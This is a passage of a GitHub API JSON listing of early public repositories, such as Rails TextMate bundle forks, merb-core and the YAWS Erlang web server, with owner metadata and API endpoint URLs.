[Learn it with PeepCode - http://peepcode.com/products/textmate-for-rails-2]","fork":false,"url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/languages","stargazers_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/subscription","commits_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/merges","archive_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/downloads","issues_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/drnic/ruby-on-rails-tmbundle/labels{/name}"},{"id":185,"name":"low-pro-for-jquery","full_name":"danwrong/low-pro-for-jquery","owner":{"login":"danwrong","id":110,"avatar_url":"https://1.gravatar.com/avatar/0727907ae68db2e8ebc1ea1b01f00d69?d=https%3A%2F%2Fidenticons.github.com%2F5f93f983524def3dca464469d2cf9f3e.png","gravatar_id":"0727907ae68db2e8ebc1ea1b01f00d69","url":"https://api.github.com/users/danwrong","html_url":"https://github.com/danwrong","followers_url":"https://api.github.com/users/danwrong/followers","following_url":"https://api.github.com/users/danwrong/following{/other_user}","gists_url":"https://api.github.com/users/danwrong/gists{/gist_id}","starred_url":"https://api.github.com/users/danwrong/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danwrong/subscriptions","organizations_url":"https://api.github.com/users/danwrong/orgs","repos_url":"https://api.github.com/users/danwrong/repos","events_url":"https://api.github.com/users/danwrong/events{/privacy}","received_events_url":"https://api.github.com/users/danwrong/received_events","type":"User"},"private":false,"html_url":"https://github.com/danwrong/low-pro-for-jquery","description":"A jQuery plugin version of the Low Pro behavior framework.","fork":false,"url":"https://api.github.com/repos/danwrong/low-pro-for-jquery","forks_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/forks","keys_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/keys{/key_id}","collaborators_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/teams","hooks_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/hooks","issue_events_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/issues/events{/number}","events_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/events","assignees_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/assignees{/user}","branches_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/branches{/branch}","tags_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/tags","blobs_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/refs{/sha}","trees_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/trees{/sha}","statuses_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/statuses/{sha}","languages_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/languages","stargazers_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/stargazers","contributors_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/contributors","subscribers_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/subscribers","subscription_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/subscription","commits_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/commits{/sha}","git_commits_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/git/commits{/sha}","comments_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/comments{/number}","issue_comment_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/issues/comments/{number}","contents_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/contents/{+path}","compare_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/compare/{base}...{head}","merges_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/merges","archive_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/downloads","issues_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/issues{/number}","pulls_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/pulls{/number}","milestones_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/milestones{/number}","notifications_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/danwrong/low-pro-for-jquery/labels{/name}"},{"id":186,"name":"merb-core","full_name":"wayneeseguin/merb-core","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/merb-core","description":"Merb Core: All you need. None you don't.","fork":true,"url":"https://api.github.com/repos/wayneeseguin/merb-core","forks_url":"https://api.github.com/repos/wayneeseguin/merb-core/forks","keys_url":"https://api.github.com/repos/wayneeseguin/merb-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/merb-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/merb-core/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/merb-core/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/merb-core/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/merb-core/events","assignees_url":"https://api.github.com/repos/wayneeseguin/merb-core/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/merb-core/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/merb-core/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/merb-core/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/merb-core/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/merb-core/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/merb-core/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/merb-core/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/merb-core/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/merb-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/merb-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/merb-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/merb-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/merb-core/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/merb-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/merb-core/merges","archive_url":"https://api.github.com/repos/wayneeseguin/merb-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/merb-core/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/merb-core/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/merb-core/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/merb-core/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/merb-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/merb-core/labels{/name}"},{"id":190,"name":"dst","full_name":"sr/dst","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/dst","description":"todo-list manager I wrote back in 2008 with the help of Gregory Brown in order to learn Ruby and TDD","fork":false,"url":"https://api.github.com/repos/sr/dst","forks_url":"https://api.github.com/repos/sr/dst/forks","keys_url":"https://api.github.com/repos/sr/dst/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/dst/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/dst/teams","hooks_url":"https://api.github.com/repos/sr/dst/hooks","issue_events_url":"https://api.github.com/repos/sr/dst/issues/events{/number}","events_url":"https://api.github.com/repos/sr/dst/events","assignees_url":"https://api.github.com/repos/sr/dst/assignees{/user}","branches_url":"https://api.github.com/repos/sr/dst/branches{/branch}","tags_url":"https://api.github.com/repos/sr/dst/tags","blobs_url":"https://api.github.com/repos/sr/dst/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/dst/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/dst/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/dst/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/dst/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/dst/languages","stargazers_url":"https://api.github.com/repos/sr/dst/stargazers","contributors_url":"https://api.github.com/repos/sr/dst/contributors","subscribers_url":"https://api.github.com/repos/sr/dst/subscribers","subscription_url":"https://api.github.com/repos/sr/dst/subscription","commits_url":"https://api.github.com/repos/sr/dst/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/dst/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/dst/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/dst/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/dst/contents/{+path}","compare_url":"https://api.github.com/repos/sr/dst/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/dst/merges","archive_url":"https://api.github.com/repos/sr/dst/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/dst/downloads","issues_url":"https://api.github.com/repos/sr/dst/issues{/number}","pulls_url":"https://api.github.com/repos/sr/dst/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/dst/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/dst/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/dst/labels{/name}"},{"id":191,"name":"yaws","full_name":"mojombo/yaws","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/yaws","description":"YAWS is an erlang web server","fork":false,"url":"https://api.github.com/repos/mojombo/yaws","forks_url":"https://api.github.com/repos/mojombo/yaws/forks","keys_url":"https://api.github.com/repos/mojombo/yaws/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/yaws/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/yaws/teams","hooks_url":"https://api.github.com/repos/mojombo/yaws/hooks","issue_events_url":"https://api.github.com/repos/mojombo/yaws/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/yaws/events","assignees_url":"https://api.github.com/repos/mojombo/yaws/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/yaws/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/yaws/tags","blobs_url":"https://api.github.com/repos/mojombo/yaws/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/yaws/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/yaws/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/yaws/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/yaws/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/yaws/languages","stargazers_url":"https://api.github.com/repos/mojombo/yaws/stargazers","contributors_url":"https://api.github.com/repos/mojombo/yaws/contributors","subscribers_url":"https://api.github.com/repos/mojombo/yaws/subscribers","subscription_url":"https://api.github.com/repos/mojombo/yaws/subscription","commits_url":"https://api.github.com/repos/mojombo/yaws/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/yaws/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/yaws/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/yaws/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/yaws/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/yaws/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/yaws/merges","archive_url":"https://api.github.com/repos/mojombo/yaws/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/yaws/downloads","issues_url":"https://api.github.com/repos/mojombo/yaws/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/yaws/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/yaws/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/yaws/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/yaws/labels{/name}"},{"id":192,"name":"yaws","full_name":"KirinDave/yaws","owner":{"login":"KirinDave","id":36,"avatar_url":"https://2.gravatar.com/avatar/d4fabd6c08ac228a3ff846d9d0d1580e?d=https%3A%2F%2Fidenticons.github.com%2F19ca14e7ea6328a42e0eb13d585e4c22.png","gravatar_id":"d4fabd6c08ac228a3ff846d9d0d1580e","url":"https://api.github.com/users/KirinDave","html_url":"https://github.com/KirinDave","followers_url":"https://api.github.com/users/KirinDave/followers","following_url":"https://api.github.com/users/KirinDave/following{/other_user}","gists_url":"https://api.github.com/users/KirinDave/gists{/gist_id}","starred_url":"https://api.github.com/users/KirinDave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/KirinDave/subscriptions","organizations_url":"https://api.github.com/users/KirinDave/orgs","repos_url":"https://api.github.com/users/KirinDave/repos","events_url":"https://api.github.com/users/KirinDave/events{/privacy}","received_events_url":"https://api.github.com/users/KirinDave/received_events","type":"User"},"private":false,"html_url":"https://github.com/KirinDave/yaws","description":"YAWS is an erlang web server","fork":true,"url":"https://api.github.com/repos/KirinDave/yaws","forks_url":"https://api.github.com/repos/KirinDave/yaws/forks","keys_url":"https://api.github.com/repos/KirinDave/yaws/keys{/key_id}","collaborators_url":"https://api.github.com/repos/KirinDave/yaws/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/KirinDave/yaws/teams","hooks_url":"https://api.github.com/repos/KirinDave/yaws/hooks","issue_events_url":"https://api.github.com/repos/KirinDave/yaws/issues/events{/number}","events_url":"https://api.github.com/repos/KirinDave/yaws/events","assignees_url":"https://api.github.com/repos/KirinDave/yaws/assignees{/user}","branches_url":"https://api.github.com/repos/KirinDave/yaws/branches{/branch}","tags_url":"https://api.github.com/repos/KirinDave/yaws/tags","blobs_url":"https://api.github.com/repos/KirinDave/yaws/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/KirinDave/yaws/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/KirinDave/yaws/git/refs{/sha}","trees_url":"https://api.github.com/repos/KirinDave/yaws/git/trees{/sha}","statuses_url":"https://api.github.com/repos/KirinDave/yaws/statuses/{sha}","languages_url":"https://api.github.com/repos/KirinDave/yaws/languages","stargazers_url":"https://api.github.com/repos/KirinDave/yaws/stargazers","contributors_url":"https://api.github.com/repos/KirinDave/yaws/contributors","subscribers_url":"https://api.github.com/repos/KirinDave/yaws/subscribers","subscription_url":"https://api.github.com/repos/KirinDave/yaws/subscription","commits_url":"https://api.github.com/repos/KirinDave/yaws/commits{/sha}","git_commits_url":"https://api.github.com/repos/KirinDave/yaws/git/commits{/sha}","comments_url":"https://api.github.com/repos/KirinDave/yaws/comments{/number}","issue_comment_url":"https://api.github.com/repos/KirinDave/yaws/issues/comments/{number}","contents_url":"https://api.github.com/repos/KirinDave/yaws/contents/{+path}","compare_url":"https://api.github.com/repos/KirinDave/yaws/compare/{base}...{head}","merges_url":"https://api.github.com/repos/KirinDave/yaws/merges","archive_url":"https://api.github.com/repos/KirinDave/yaws/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/KirinDave/yaws/downloads","issues_url":"https://api.github.com/repos/KirinDave/yaws/issues{/number}","pulls_url":"https://api.github.com/repos/KirinDave/yaws/pulls{/number}","milestones_url":"https://api.github.com/repos/KirinDave/yaws/milestones{/number}","notifications_url":"https://api.github.com/repos/KirinDave/yaws/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/KirinDave/yaws/labels{/name}"},{"id":193,"name":"tasks","full_name":"sr/tasks","owner":{"login":"sr","id":90,"avatar_url":"https://1.gravatar.com/avatar/8e0adf6f8274375b90a180d256d73bad?d=https%3A%2F%2Fidenticons.github.com%2F8613985ec49eb8f757ae6439e879bb2a.png","gravatar_id":"8e0adf6f8274375b90a180d256d73bad","url":"https://api.github.com/users/sr","html_url":"https://github.com/sr","followers_url":"https://api.github.com/users/sr/followers","following_url":"https://api.github.com/users/sr/following{/other_user}","gists_url":"https://api.github.com/users/sr/gists{/gist_id}","starred_url":"https://api.github.com/users/sr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sr/subscriptions","organizations_url":"https://api.github.com/users/sr/orgs","repos_url":"https://api.github.com/users/sr/repos","events_url":"https://api.github.com/users/sr/events{/privacy}","received_events_url":"https://api.github.com/users/sr/received_events","type":"User"},"private":false,"html_url":"https://github.com/sr/tasks","description":"Some more or less useful rake tasks. Includes tasks to work with git-cvs, convert an Atom collection to a blog, post to an AtomPub server and more.","fork":false,"url":"https://api.github.com/repos/sr/tasks","forks_url":"https://api.github.com/repos/sr/tasks/forks","keys_url":"https://api.github.com/repos/sr/tasks/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sr/tasks/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sr/tasks/teams","hooks_url":"https://api.github.com/repos/sr/tasks/hooks","issue_events_url":"https://api.github.com/repos/sr/tasks/issues/events{/number}","events_url":"https://api.github.com/repos/sr/tasks/events","assignees_url":"https://api.github.com/repos/sr/tasks/assignees{/user}","branches_url":"https://api.github.com/repos/sr/tasks/branches{/branch}","tags_url":"https://api.github.com/repos/sr/tasks/tags","blobs_url":"https://api.github.com/repos/sr/tasks/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sr/tasks/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sr/tasks/git/refs{/sha}","trees_url":"https://api.github.com/repos/sr/tasks/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sr/tasks/statuses/{sha}","languages_url":"https://api.github.com/repos/sr/tasks/languages","stargazers_url":"https://api.github.com/repos/sr/tasks/stargazers","contributors_url":"https://api.github.com/repos/sr/tasks/contributors","subscribers_url":"https://api.github.com/repos/sr/tasks/subscribers","subscription_url":"https://api.github.com/repos/sr/tasks/subscription","commits_url":"https://api.github.com/repos/sr/tasks/commits{/sha}","git_commits_url":"https://api.github.com/repos/sr/tasks/git/commits{/sha}","comments_url":"https://api.github.com/repos/sr/tasks/comments{/number}","issue_comment_url":"https://api.github.com/repos/sr/tasks/issues/comments/{number}","contents_url":"https://api.github.com/repos/sr/tasks/contents/{+path}","compare_url":"https://api.github.com/repos/sr/tasks/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sr/tasks/merges","archive_url":"https://api.github.com/repos/sr/tasks/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sr/tasks/downloads","issues_url":"https://api.github.com/repos/sr/tasks/issues{/number}","pulls_url":"https://api.github.com/repos/sr/tasks/pulls{/number}","milestones_url":"https://api.github.com/repos/sr/tasks/milestones{/number}","notifications_url":"https://api.github.com/repos/sr/tasks/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sr/tasks/labels{/name}"},{"id":195,"name":"ruby-on-rails-tmbundle","full_name":"mattetti/ruby-on-rails-tmbundle","owner":{"login":"mattetti","id":113,"avatar_url":"https://1.gravatar.com/avatar/c69521d6e22fc0bbd69337ec8b1698df?d=https%3A%2F%2Fidenticons.github.com%2F73278a4a86960eeb576a8fd4c9ec6997.png","gravatar_id":"c69521d6e22fc0bbd69337ec8b1698df","url":"https://api.github.com/users/mattetti","html_url":"https://github.com/mattetti","followers_url":"https://api.github.com/users/mattetti/followers","following_url":"https://api.github.com/users/mattetti/following{/other_user}","gists_url":"https://api.github.com/users/mattetti/gists{/gist_id}","starred_url":"https://api.github.com/users/mattetti/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mattetti/subscriptions","organizations_url":"https://api.github.com/users/mattetti/orgs","repos_url":"https://api.github.com/users/mattetti/repos","events_url":"https://api.github.com/users/mattetti/events{/privacy}","received_events_url":"https://api.github.com/users/mattetti/received_events","type":"User"},"private":false,"html_url":"https://github.com/mattetti/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle [master branch is svn trunk; patches to drnicwilliams@gmail.com]","fork":true,"url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/languages","stargazers_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/subscription","commits_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/merges","archive_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/downloads","issues_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mattetti/ruby-on-rails-tmbundle/labels{/name}"},{"id":196,"name":"ruby-on-rails-tmbundle","full_name":"lawrencepit/ruby-on-rails-tmbundle","owner":{"login":"lawrencepit","id":115,"avatar_url":"https://1.gravatar.com/avatar/a31c2c26350e9e2b07fbd99fbd5ff520?d=https%3A%2F%2Fidenticons.github.com%2F2b44928ae11fb9384c4cf38708677c48.png","gravatar_id":"a31c2c26350e9e2b07fbd99fbd5ff520","url":"https://api.github.com/users/lawrencepit","html_url":"https://github.com/lawrencepit","followers_url":"https://api.github.com/users/lawrencepit/followers","following_url":"https://api.github.com/users/lawrencepit/following{/other_user}","gists_url":"https://api.github.com/users/lawrencepit/gists{/gist_id}","starred_url":"https://api.github.com/users/lawrencepit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lawrencepit/subscriptions","organizations_url":"https://api.github.com/users/lawrencepit/orgs","repos_url":"https://api.github.com/users/lawrencepit/repos","events_url":"https://api.github.com/users/lawrencepit/events{/privacy}","received_events_url":"https://api.github.com/users/lawrencepit/received_events","type":"User"},"private":false,"html_url":"https://github.com/lawrencepit/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle [master branch is svn trunk; patches to 